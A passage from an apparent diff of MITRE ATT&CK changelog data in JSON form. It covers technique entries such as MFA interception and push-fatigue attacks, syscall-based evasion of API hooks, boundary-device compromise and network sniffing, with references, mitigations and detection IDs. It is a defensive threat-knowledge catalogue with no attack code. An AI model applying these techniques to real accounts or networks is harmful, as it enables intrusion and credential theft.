Proxy](https://attack.mitre.org/techniques/T1090/003), and [Port Knocking](https://attack.mitre.org/techniques/T1205/001).\n\nAdversaries may also compromise existing commands in the operating system to produce false output to mislead defenders. When this method is used in conjunction with [Downgrade System Image](https://attack.mitre.org/techniques/T1601/002), one example of a compromised system command may include changing the output of the command that shows the version of the currently running operating system. By patching the operating system, the adversary can change this command to instead display the original, higher revision number that they replaced through the system downgrade. \n\nWhen the operating system is patched in storage, this can be achieved in either the resident storage (typically a form of flash memory, which is non-volatile) or via [TFTP Boot](https://attack.mitre.org/techniques/T1542/005). \n\nWhen the technique is performed on the running operating system in memory and not on the stored copy, this technique will not survive across reboots. However, live memory modification of the operating system can be combined with [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) to achieve persistence. ",
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+ "source_name": "Killing the myth of Cisco IOS rootkits",
+ "description": "Sebastian 'topo' Mu\u00f1iz. (2008, May). Killing the myth of Cisco IOS rootkits. Retrieved October 20, 2020.",
+ "url": "https://drwho.virtadpt.net/images/killing_the_myth_of_cisco_ios_rootkits.pdf"
+ },
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+ "source_name": "Killing IOS diversity myth",
+ "description": "Ang Cui, Jatin Kataria, Salvatore J. Stolfo. (2011, August). Killing the myth of Cisco IOS diversity: recent advances in reliable shellcode design. Retrieved October 20, 2020.",
+ "url": "https://www.usenix.org/legacy/event/woot/tech/final_files/Cui.pdf"
+ },
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+ "source_name": "Cisco IOS Shellcode",
+ "description": "George Nosenko. (2015). CISCO IOS SHELLCODE: ALL-IN-ONE. Retrieved October 21, 2020.",
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+ },
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+ "source_name": "Cisco IOS Forensics Developments",
+ "description": "Felix 'FX' Lindner. (2008, February). Developments in Cisco IOS Forensics. Retrieved October 21, 2020.",
+ "url": "https://www.recurity-labs.com/research/RecurityLabs_Developments_in_IOS_Forensics.pdf"
+ },
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+ "source_name": "Juniper Netscreen of the Dead",
+ "description": "Graeme Neilson . (2009, August). Juniper Netscreen of the Dead. Retrieved October 20, 2020.",
+ "url": "https://www.blackhat.com/presentations/bh-usa-09/NEILSON/BHUSA09-Neilson-NetscreenDead-SLIDES.pdf"
+ },
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+ "url": "https://tools.cisco.com/security/center/resources/integrity_assurance.html#7"
+ },
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+ "source_name": "Cisco IOS Software Integrity Assurance - Run-Time Memory Verification",
+ "description": "Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020.",
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+ "description": "Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users\u2019 phones.(Citation: Okta Scatter Swine 2022)",
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+ "source_name": "GCN RSA June 2011",
+ "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved November 17, 2024.",
+ "url": "https://www.route-fifty.com/cybersecurity/2011/06/rsa-confirms-its-tokens-used-in-lockheed-hack/282818/"
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+ "source_name": "Mandiant M Trends 2011",
+ "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.",
+ "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf"
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+ "source_name": "Okta Scatter Swine 2022",
+ "description": "Okta. (2022, August 25). Detecting Scatter Swine: Insights into a Relentless Phishing Campaign. Retrieved February 24, 2023.",
+ "url": "https://sec.okta.com/scatterswine"
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2022-04-01 02:15:49.754000+00:00",
+ "modified": "2025-10-24 17:49:07.399000+00:00",
+ "name": "Multi-Factor Authentication Request Generation",
+ "description": "Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.\n\nAdversaries in possession of credentials to [Valid Accounts](https://attack.mitre.org/techniques/T1078) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).(Citation: Obsidian SSPR Abuse 2023)\n\nIn some cases, adversaries may continuously repeat login attempts in order to bombard users with MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to \u201cMFA fatigue.\u201d(Citation: Russian 2FA Push Annoyance - Cimpanu)(Citation: MFA Fatigue Attacks - PortSwigger)(Citation: Suspected Russian Activity Targeting Government and Business Entities Around the Globe)",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1621",
+ "external_id": "T1621"
+ },
+ {
+ "source_name": "Russian 2FA Push Annoyance - Cimpanu",
+ "description": "Catalin Cimpanu. (2021, December 9). Russian hackers bypass 2FA by annoying victims with repeated push notifications. Retrieved March 31, 2022.",
+ "url": "https://therecord.media/russian-hackers-bypass-2fa-by-annoying-victims-with-repeated-push-notifications/"
+ },
+ {
+ "source_name": "MFA Fatigue Attacks - PortSwigger",
+ "description": "Jessica Haworth. (2022, February 16). MFA fatigue attacks: Users tricked into allowing device access due to overload of push notifications. Retrieved March 31, 2022.",
+ "url": "https://portswigger.net/daily-swig/mfa-fatigue-attacks-users-tricked-into-allowing-device-access-due-to-overload-of-push-notifications"
+ },
+ {
+ "source_name": "Suspected Russian Activity Targeting Government and Business Entities Around the Globe",
+ "description": "Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.",
+ "url": "https://www.mandiant.com/resources/russian-targeting-gov-business"
+ },
+ {
+ "source_name": "Obsidian SSPR Abuse 2023",
+ "description": "Noah Corradin and Shuyang Wang. (2023, August 1). Behind The Breach: Self-Service Password Reset (SSPR) Abuse in Azure AD. Retrieved March 28, 2024.",
+ "url": "https://www.obsidiansecurity.com/blog/behind-the-breach-self-service-password-reset-azure-ad/"
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+ "x_mitre_contributors": [
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+ "Pawel Partyka, Microsoft 365 Defender",
+ "Shanief Webb",
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+ ],
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+ "x_mitre_detection": "",
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+ "x_mitre_platforms": [
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+ "Linux",
+ "macOS",
+ "IaaS",
+ "SaaS",
+ "Office Suite",
+ "Identity Provider"
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+ "M1017: User Training",
+ "M1032: Multi-factor Authentication",
+ "M1036: Account Use Policies"
+ ],
+ "new": [],
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+ "changelog_datacomponent_detections": {
+ "shared": [],
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+ "dropped": [
+ "DS0002: User Account (User Account Authentication)",
+ "DS0015: Application Log (Application Log Content)",
+ "DS0028: Logon Session (Logon Session Creation)",
+ "DS0028: Logon Session (Logon Session Metadata)"
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+ "shared": [],
+ "new": [
+ "DET0160: Detection Strategy for Multi-Factor Authentication Request Generation (T1621)"
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+ }
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+ "type": "attack-pattern",
+ "id": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:15.935000+00:00",
+ "modified": "2025-10-24 17:49:03.646000+00:00",
+ "name": "Multi-Stage Channels",
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+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "command-and-control"
+ }
+ ],
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+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1104",
+ "external_id": "T1104"
+ }
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+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "ESXi"
+ ],
+ "x_mitre_version": "1.1",
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+ "shared": [
+ "M1031: Network Intrusion Prevention"
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+ "new": [],
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+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0029: Network Traffic (Network Connection Creation)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
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+ "shared": [],
+ "new": [
+ "DET0228: Detect Multi-Stage Command and Control Channels"
+ ],
+ "dropped": []
+ }
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+ "type": "attack-pattern",
+ "id": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:31:17.472000+00:00",
+ "modified": "2025-10-24 17:48:39.785000+00:00",
+ "name": "Native API",
+ "description": "Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.\n\nAdversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.\n\nNative API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)\n\nHigher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)\n\nAdversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001).",
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+ "phase_name": "execution"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1106",
+ "external_id": "T1106"
+ },
+ {
+ "source_name": "MACOS Cocoa",
+ "description": "Apple. (2015, September 16). Cocoa Application Layer. Retrieved June 25, 2020.",
+ "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/OSX_Technology_Overview/CocoaApplicationLayer/CocoaApplicationLayer.html#//apple_ref/doc/uid/TP40001067-CH274-SW1"
+ },
+ {
+ "source_name": "Apple Core Services",
+ "description": "Apple. (n.d.). Core Services. Retrieved June 25, 2020.",
+ "url": "https://developer.apple.com/documentation/coreservices"
+ },
+ {
+ "source_name": "macOS Foundation",
+ "description": "Apple. (n.d.). Foundation. Retrieved July 1, 2020.",
+ "url": "https://developer.apple.com/documentation/foundation"
+ },
+ {
+ "source_name": "OutFlank System Calls",
+ "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.",
+ "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/"
+ },
+ {
+ "source_name": "Redops Syscalls",
+ "description": "Feichter, D. (2023, June 30). Direct Syscalls vs Indirect Syscalls. Retrieved September 27, 2023.",
+ "url": "https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls"
+ },
+ {
+ "source_name": "GNU Fork",
+ "description": "Free Software Foundation, Inc.. (2020, June 18). Creating a Process. Retrieved June 25, 2020.",
+ "url": "https://www.gnu.org/software/libc/manual/html_node/Creating-a-Process.html"
+ },
+ {
+ "source_name": "CyberBit System Calls",
+ "description": "Gavriel, H. (2018, November 27). Malware Mitigation when Direct System Calls are Used. Retrieved September 29, 2021.",
+ "url": "https://www.cyberbit.com/blog/endpoint-security/malware-mitigation-when-direct-system-calls-are-used/"
+ },
+ {
+ "source_name": "GLIBC",
+ "description": "glibc developer community. (2020, February 1). The GNU C Library (glibc). Retrieved June 25, 2020.",
+ "url": "https://www.gnu.org/software/libc/"
+ },
+ {
+ "source_name": "LIBC",
+ "description": "Kerrisk, M. (2016, December 12). libc(7) \u2014 Linux manual page. Retrieved June 25, 2020.",
+ "url": "https://man7.org/linux/man-pages//man7/libc.7.html"
+ },
+ {
+ "source_name": "Linux Kernel API",
+ "description": "Linux Kernel Organization, Inc. (n.d.). The Linux Kernel API. Retrieved June 25, 2020.",
+ "url": "https://www.kernel.org/doc/html/v4.12/core-api/kernel-api.html"
+ },
+ {
+ "source_name": "MDSec System Calls",
+ "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.",
+ "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/"
+ },
+ {
+ "source_name": "Microsoft CreateProcess",
+ "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
+ "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
+ },
+ {
+ "source_name": "Microsoft Win32",
+ "description": "Microsoft. (n.d.). Programming reference for the Win32 API. Retrieved March 15, 2020.",
+ "url": "https://docs.microsoft.com/en-us/windows/win32/api/"
+ },
+ {
+ "source_name": "Microsoft NET",
+ "description": "Microsoft. (n.d.). What is .NET Framework?. Retrieved March 15, 2020.",
+ "url": "https://dotnet.microsoft.com/learn/dotnet/what-is-dotnet-framework"
+ },
+ {
+ "source_name": "NT API Windows",
+ "description": "The NTinterlnals.net team. (n.d.). Nowak, T. Retrieved June 25, 2020.",
+ "url": "https://undocumented.ntinternals.net/"
+ }
+ ],
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+ "x_mitre_version": "2.3",
+ "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": false}, \"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Module: Module Load\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:39.785000+00:00\", \"old_value\": \"2025-04-15 19:58:23.043000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \\n\\nUtilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitoring API calls may generate a significant amount of data and may not be useful for defense unless collected under specific circumstances, since benign use of API functions are common and may be difficult to distinguish from malicious behavior. Correlation of other events with behavior surrounding API function calls using API monitoring will provide additional context to an event that may assist in determining if it is due to malicious behavior. Correlation of activity by process lineage by process ID may be sufficient. \\n-\\n-Utilization of the Windows APIs may involve processes loading/accessing system DLLs associated with providing called functions (ex: ntdll.dll, kernel32.dll, advapi32.dll, user32.dll, and gdi32.dll). Monitoring for DLL loads, especially to abnormal/unusual or potentially malicious processes, may indicate abuse of the Windows API. Though noisy, this data can be combined with other indicators to identify adversary activity. \"}, \"root['x_mitre_contributors'][0]\": {\"new_value\": \"Gordon Long, LegioX/Zoom, asaurusrex\", \"old_value\": \"Gordon Long, Box, Inc., @ethicalhax\"}}}",
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+ "shared": [
+ "M1038: Execution Prevention",
+ "M1040: Behavior Prevention on Endpoint"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0011: Module (Module Load)"
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+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0529: Behavioral Detection of Native API Invocation via Unusual DLL Loads and Direct Syscalls"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-10-19 16:08:29.817000+00:00",
+ "modified": "2025-10-24 17:49:16.493000+00:00",
+ "name": "Network Boundary Bridging",
+ "description": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021) In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
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+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1599",
+ "external_id": "T1599"
+ },
+ {
+ "source_name": "Kaspersky ThreatNeedle Feb 2021",
+ "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.",
+ "url": "https://securelist.com/lazarus-threatneedle/100803/"
+ }
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+ "x_mitre_attack_spec_version": "3.2.0",
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+ "x_mitre_detection": "",
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+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Network Devices"
+ ],
+ "x_mitre_version": "1.2",
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+ "M1037: Filter Network Traffic",
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+ ],
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+ "changelog_datacomponent_detections": {
+ "shared": [],
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+ "dropped": [
+ "DS0029: Network Traffic (Network Traffic Content)",
+ "DS0029: Network Traffic (Network Traffic Flow)"
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+ "shared": [],
+ "new": [
+ "DET0006: Detection Strategy for Network Boundary Bridging"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--d74c4a7e-ffbf-432f-9365-7ebf1f787cab",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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+ "source_name": "Symantec DDoS October 2014",
+ "description": "Wueest, C.. (2014, October 21). The continued rise of DDoS attacks. Retrieved April 24, 2019.",
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+ "description": "Marek Majkowsk, Cloudflare. (2017, May 24). Reflections on reflection (attacks). Retrieved April 23, 2019.",
+ "url": "https://blog.cloudflare.com/reflections-on-reflections/"
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+ "description": "Marek Majkowski of Cloudflare. (2018, February 27). Memcrashed - Major amplification attacks from UDP port 11211. Retrieved April 18, 2019.",
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+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Praetorian"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "3.2",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\", \"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:37.475000+00:00\", \"old_value\": \"2025-04-15 22:52:30.350000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nNormal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Normal, benign system and network events related to legitimate remote system discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}",
+ "previous_version": "3.2",
+ "changelog_mitigations": {
+ "shared": [
+ "M1028: Operating System Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (OS API Execution)",
+ "DS0009: Process (Process Creation)",
+ "DS0017: Command (Command Execution)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0182: Behavior-chain detection for T1135 Network Share Discovery across Windows, Linux, and macOS"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--3257eb21-f9a7-4430-8de1-d8b6e288f529",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2017-05-31 21:30:41.399000+00:00",
+ "modified": "2025-10-24 17:48:36.910000+00:00",
+ "name": "Network Sniffing",
+ "description": "Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or [Defense Evasion](https://attack.mitre.org/tactics/TA0005) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) (AiTM) to passively gain additional knowledge about the environment.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "discovery"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1040",
+ "external_id": "T1040"
+ },
+ {
+ "source_name": "AWS Traffic Mirroring",
+ "description": "Amazon Web Services. (n.d.). How Traffic Mirroring works. Retrieved March 17, 2022.",
+ "url": "https://docs.aws.amazon.com/vpc/latest/mirroring/traffic-mirroring-how-it-works.html"
+ },
+ {
+ "source_name": "capture_embedded_packet_on_software",
+ "description": "Cisco. (2022, August 17). Configure and Capture Embedded Packet on Software. Retrieved July 13, 2022.",
+ "url": "https://www.cisco.com/c/en/us/support/docs/ios-nx-os-software/ios-embedded-packet-capture/116045-productconfig-epc-00.html"
+ },
+ {
+ "source_name": "GCP Packet Mirroring",
+ "description": "Google Cloud. (n.d.). Packet Mirroring overview. Retrieved March 17, 2022.",
+ "url": "https://cloud.google.com/vpc/docs/packet-mirroring"
+ },
+ {
+ "source_name": "SpecterOps AWS Traffic Mirroring",
+ "description": "Luke Paine. (2020, March 11). Through the Looking Glass \u2014 Part 1. Retrieved March 17, 2022.",
+ "url": "https://posts.specterops.io/through-the-looking-glass-part-1-f539ae308512"
+ },
+ {
+ "source_name": "Azure Virtual Network TAP",
+ "description": "Microsoft. (2022, February 9). Virtual network TAP. Retrieved March 17, 2022.",
+ "url": "https://docs.microsoft.com/en-us/azure/virtual-network/virtual-network-tap-overview"
+ },
+ {
+ "source_name": "Rhino Security Labs AWS VPC Traffic Mirroring",
+ "description": "Spencer Gietzen. (2019, September 17). Abusing VPC Traffic Mirroring in AWS. Retrieved March 17, 2022.",
+ "url": "https://rhinosecuritylabs.com/aws/abusing-vpc-traffic-mirroring-in-aws/"
+ },
+ {
+ "source_name": "US-CERT-TA18-106A",
+ "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
+ "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Oleg Kolesnikov, Securonix",
+ "Tiago Faria, 3CORESec",
+ "Austin Clark, @c2defense",
+ "Itamar Mizrahi, Cymptom",
+ "Eliraz Levi, Hunters"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": false,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows",
+ "Network Devices",
+ "IaaS"
+ ],
+ "x_mitre_version": "1.7",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:36.910000+00:00\", \"old_value\": \"2025-04-15 19:58:19.739000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.\\n\\nIn cloud-based environments, monitor for the creation of new traffic mirrors or modification of existing traffic mirrors. For network infrastructure devices, collect AAA logging to monitor for the capture of network traffic.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Detecting the events leading up 